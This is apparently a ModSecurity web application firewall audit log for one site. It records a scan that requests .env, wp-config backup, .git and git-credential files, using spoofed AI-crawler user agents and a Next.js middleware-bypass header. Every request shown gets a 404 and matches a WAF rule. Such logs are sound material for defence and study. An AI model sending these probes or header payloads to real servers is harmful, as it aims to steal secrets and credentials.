X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c741d447-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c741d447-E--
--c741d447-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/web/.env"] [unique_id "aqaAz2M7dE9KgIIOpQh6XgAAAM0"]
Stopwatch: 1789296847081233 6600 (- - -)
Stopwatch2: 1789296847081233 6600; combined=4984, p1=369, p2=4441, p3=78, p4=8, p5=87, sr=193, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c741d447-Z--
--378f8a13-A--
[13/Sep/2026:13:54:07.130417 +0300] aqaAz2M7dE9KgIIOpQh6XwAAAMQ 35.236.177.61 34078 127.0.0.1 7081
--378f8a13-B--
GET /wp-config.php~ HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--378f8a13-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--378f8a13-E--
--378f8a13-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php~"] [unique_id "aqaAz2M7dE9KgIIOpQh6XwAAAMQ"]
Stopwatch: 1789296847095655 34837 (- - -)
Stopwatch2: 1789296847095655 34837; combined=33051, p1=304, p2=32597, p3=70, p4=7, p5=73, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--378f8a13-Z--
--9eb21813-A--
[13/Sep/2026:13:54:07.296781 +0300] aqaAz2M7dE9KgIIOpQh6YQAAAMo 35.236.177.61 34096 127.0.0.1 7081
--9eb21813-B--
GET /wp-config.php.swp HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9eb21813-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--9eb21813-E--
--9eb21813-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/wp-config.php.swp"] [unique_id "aqaAz2M7dE9KgIIOpQh6YQAAAMo"]
Stopwatch: 1789296847262654 34192 (- - -)
Stopwatch2: 1789296847262654 34192; combined=32478, p1=285, p2=32037, p3=77, p4=9, p5=69, sr=121, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9eb21813-Z--
--8eff6037-A--
[13/Sep/2026:13:54:10.770702 +0300] aqaA0kwu1RSkptiiNIX7lwAAAIY 35.236.177.61 34838 127.0.0.1 7081
--8eff6037-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8eff6037-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8eff6037-E--
--8eff6037-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaA0kwu1RSkptiiNIX7lwAAAIY"]
Stopwatch: 1789296850737527 33245 (- - -)
Stopwatch2: 1789296850737527 33245; combined=31786, p1=318, p2=31286, p3=79, p4=10, p5=93, sr=149, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8eff6037-Z--
--85871b00-A--
[13/Sep/2026:13:54:10.780317 +0300] aqaA0kwu1RSkptiiNIX7mAAAAJc 35.236.177.61 34844 127.0.0.1 7081
--85871b00-B--
GET /.git/HEAD HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--85871b00-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--85871b00-E--
--85871b00-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/HEAD"] [unique_id "aqaA0kwu1RSkptiiNIX7mAAAAJc"]
Stopwatch: 1789296850774407 5960 (- - -)
Stopwatch2: 1789296850774407 5960; combined=4394, p1=317, p2=3965, p3=67, p4=7, p5=37, sr=163, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85871b00-Z--
--20ccd679-A--
[13/Sep/2026:13:54:10.848313 +0300] aqaA0jTJ6xTvcJoem7f8YgAAAEk 35.236.177.61 34856 127.0.0.1 7081
--20ccd679-B--
GET /.git-credentials HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--20ccd679-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--20ccd679-E--
--20ccd679-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git-credentials"] [unique_id "aqaA0jTJ6xTvcJoem7f8YgAAAEk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git-credentials"] [unique_id "aqaA0jTJ6xTvcJoem7f8YgAAAEk"]
Stopwatch: 1789296850814521 33857 (- - -)
Stopwatch2: 1789296850814521 33857; combined=32369, p1=297, p2=31951, p3=67, p4=8, p5=46, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--20ccd679-Z--
--33878136-A--
[13/Sep/2026:13:54:10.874820 +0300] aqaA0mM7dE9KgIIOpQh6ggAAAME 35.236.177.61 34860 127.0.0.1 7081
--33878136-B--
GET /.gitconfig HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--33878136-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--33878136-E--
--33878136-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.gitconfig"] [unique_id "aqaA0mM7dE9KgIIOpQh6ggAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.gitconfig"] [unique_id "aqaA0mM7dE9KgIIOpQh6ggAAAME"]
Stopwatch: 1789296850836516 38359 (- - -)
Stopwatch2: 1789296850836516 38359; combined=36747, p1=350, p2=36248, p3=74, p4=7, p5=67, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--33878136-Z--
--ab0fdb3d-A--
[13/Sep/2026:13:54:11.014007 +0300] aqaA02M7dE9KgIIOpQh6gwAAANg 35.236.177.61 34888 127.0.0.1 7081
--ab0fdb3d-B--
GET /.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ab0fdb3d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ab0fdb3d-E--
--ab0fdb3d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6gwAAANg"]
Stopwatch: 1789296851006793 7279 (- - -)
Stopwatch2: 1789296851006793 7279; combined=5488, p1=240, p2=5049, p3=144, p4=9, p5=46, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ab0fdb3d-Z--
--c452896d-A--
[13/Sep/2026:13:54:11.216353 +0300] aqaA0zTJ6xTvcJoem7f8ZgAAAE0 35.236.177.61 34898 127.0.0.1 7081
--c452896d-B--
GET /.env.local HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c452896d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c452896d-E--
--c452896d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaA0zTJ6xTvcJoem7f8ZgAAAE0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaA0zTJ6xTvcJoem7f8ZgAAAE0"]
Stopwatch: 1789296851184181 32224 (- - -)
Stopwatch2: 1789296851184181 32224; combined=30849, p1=211, p2=30518, p3=68, p4=7, p5=45, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c452896d-Z--
--f58e4941-A--
[13/Sep/2026:13:54:11.332107 +0300] aqaA02M7dE9KgIIOpQh6hwAAAMA 35.236.177.61 34924 127.0.0.1 7081
--f58e4941-B--
GET /api/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f58e4941-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f58e4941-E--
--f58e4941-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/api/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6hwAAAMA"]
Stopwatch: 1789296851325535 6624 (- - -)
Stopwatch2: 1789296851325535 6624; combined=4979, p1=339, p2=4473, p3=112, p4=10, p5=45, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f58e4941-Z--
--5dc4f855-A--
[13/Sep/2026:13:54:11.438773 +0300] aqaA00wu1RSkptiiNIX7mQAAAJQ 35.236.177.61 34934 127.0.0.1 7081
